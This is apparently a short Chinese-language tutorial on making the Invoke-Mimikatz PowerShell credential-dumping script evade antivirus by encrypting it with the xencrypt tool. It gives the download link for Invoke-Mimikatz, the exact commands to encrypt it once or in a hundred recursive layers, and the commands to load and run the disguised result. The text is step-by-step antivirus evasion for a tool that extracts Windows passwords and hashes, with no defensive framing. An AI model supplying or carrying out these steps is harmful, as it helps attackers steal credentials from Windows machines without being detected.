通过xencrypt免杀invoke-mimikatz.ps1

0x01 简介

xencrypt目前测试只在windows 2012 powershell下可正常使用，需要依赖原本的invoke-mimikatz.ps1，生成以后可多次使用。

0x02 使用

1、下载invoke-mimikatz.ps1到同级目录下。
https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

2、加密invoke-mimikatz.ps1。

Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1

具体使用（生成一次可多次使用）：

Import-Module .\xenmimi.ps1
Invoke-Mimikatz

3、通过-Iterations标志支持递归分层加密。

Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100

对应生成的加密ps文件体积也会增大。

具体使用（生成一次可多次使用）：

Import-Module .\xenmimi.ps1
Invoke-Mimikatz

0x03 参考

https://github.com/the-xentropy/xencrypt
https://amp.kitploit.com/2020/03/xencrypt-powershell-script-anti-virus.html?amp=1&m=1